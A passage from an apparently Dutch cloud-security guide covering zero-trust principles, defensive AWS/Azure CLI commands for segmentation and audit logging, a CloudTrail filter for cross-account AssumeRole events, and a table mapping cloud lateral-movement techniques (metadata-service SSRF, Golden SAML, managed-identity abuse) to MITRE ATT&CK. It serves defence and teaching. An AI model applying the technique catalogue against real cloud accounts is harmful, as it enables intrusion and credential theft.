Zero Trust Architectuur

Principe                          Implementatie
+-------------------------------+------------------------------------------+
| Verify explicitly             | MFA op alle accounts, conditional access |
| Least privilege access        | JIT access, time-bound role assignments  |
| Assume breach                 | Micro-segmentatie, monitoring            |
| Verify every transaction      | API-level authorization, not just authn  |
| Limit blast radius            | Account isolation, service boundaries    |
+-------------------------------+------------------------------------------+
# AWS: Implementeer permission boundaries
aws iam put-role-permissions-boundary \
  --role-name DeveloperRole \
  --permissions-boundary arn:aws:iam::111111111111:policy/DeveloperBoundary

# Azure: Implementeer Conditional Access
az rest --method POST \
  --url "https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies" \
  --body '{
    "displayName": "Require MFA for role assumption",
    "state": "enabled",
    "conditions": {
      "applications": {"includeApplications": ["All"]},
      "users": {"includeRoles": ["ROLE_ID"]}
    },
    "grantControls": {
      "operator": "OR",
      "builtInControls": ["mfa"]
    }
  }'

Network Segmentation

# AWS: Restrictieve security groups voor peered VPCs
aws ec2 create-security-group \
  --group-name restricted-peering \
  --description "Alleen noodzakelijk verkeer via peering" \
  --vpc-id vpc-abc123

aws ec2 authorize-security-group-ingress \
  --group-id sg-xyz789 \
  --protocol tcp \
  --port 443 \
  --cidr 10.1.0.0/24  # Alleen specifieke subnet, niet hele VPC

# Azure: NSG op subnet level
az network nsg rule create \
  --nsg-name restricted-nsg \
  --resource-group prod-rg \
  --name deny-lateral \
  --priority 100 \
  --direction Inbound \
  --access Deny \
  --source-address-prefixes "10.0.0.0/8" \
  --destination-port-ranges "*"

Cross-Account Audit

# AWS: Organization-wide CloudTrail
aws cloudtrail create-trail \
  --name org-trail \
  --s3-bucket-name org-audit-logs \
  --is-organization-trail \
  --is-multi-region-trail \
  --enable-log-file-validation

# Monitor AssumeRole events
aws logs filter-log-events \
  --log-group-name CloudTrail/org-trail \
  --filter-pattern '{ $.eventName = "AssumeRole" && $.requestParameters.roleArn = "*cross-account*" }'

# Azure: Activity Log forwarding naar central SIEM
az monitor diagnostic-settings create \
  --name "central-audit" \
  --resource "/subscriptions/SUB_ID" \
  --logs '[{"category": "Administrative", "enabled": true}]' \
  --workspace "/subscriptions/SUB_ID/resourceGroups/rg/providers/Microsoft.OperationalInsights/workspaces/central-siem"

Referentietabel

Techniek MITRE ATT&CK AWS Azure GCP
Cross-account role assumption T1550.001 - Application Access Token sts:AssumeRole chains Lighthouse delegations Service account impersonation
Hybrid AD pivot T1078.004 - Cloud Accounts N/A Azure AD Connect, ADFS Google Cloud Directory Sync
SAML token forgery T1606.002 - SAML Tokens SAML federation abuse Golden SAML via ADFS SAML IdP compromise
OIDC federation abuse T1550.001 - Application Access Token Web Identity Federation Workload Identity Workload Identity Federation
SSRF to IMDS T1552.005 - Cloud Instance Metadata IMDSv1/v2 (169.254.169.254) IMDS (169.254.169.254) Metadata (metadata.google.internal)
Service-to-service pivot T1021.007 - Cloud Services Lambda→DynamoDB→S3 Function→Key Vault→SQL Function→Firestore→GCS
VPC peering exploitation T1599 - Network Boundary Bridging VPC Peering, Transit Gateway VNet Peering, vWAN VPC Network Peering
Managed identity abuse T1550.001 - Application Access Token EC2 instance profiles Managed Identity (system/user) Service account tokens
Multi-cloud credential reuse T1078.004 - Cloud Accounts Credentials in Secrets Manager Credentials in Key Vault Credentials in Secret Manager
Intune command push T1072 - Software Deployment Tools N/A (use SSM) Intune scripts/config N/A
PrivateLink abuse T1599.001 - Network Address Translation VPC Endpoints Private Endpoints Private Service Connect
VPN configuration theft T1120 - Peripheral Device Discovery Site-to-Site VPN configs VPN Gateway shared keys Cloud VPN tunnels
Container metadata T1552.005 - Cloud Instance Metadata ECS task metadata, EKS IRSA AKS pod identity GKE workload identity
Service mesh pivot T1021.007 - Cloud Services App Mesh exploitation N/A Anthos Service Mesh
Federation trust abuse T1484.002 - Trust Modification IAM OIDC providers External identity providers Workload Identity pools

In de cloud beweeg je niet van machine naar machine. Je beweegt van vertrouwen naar vertrouwen. En vertrouwen, zo blijkt, is bijna altijd misconfigured.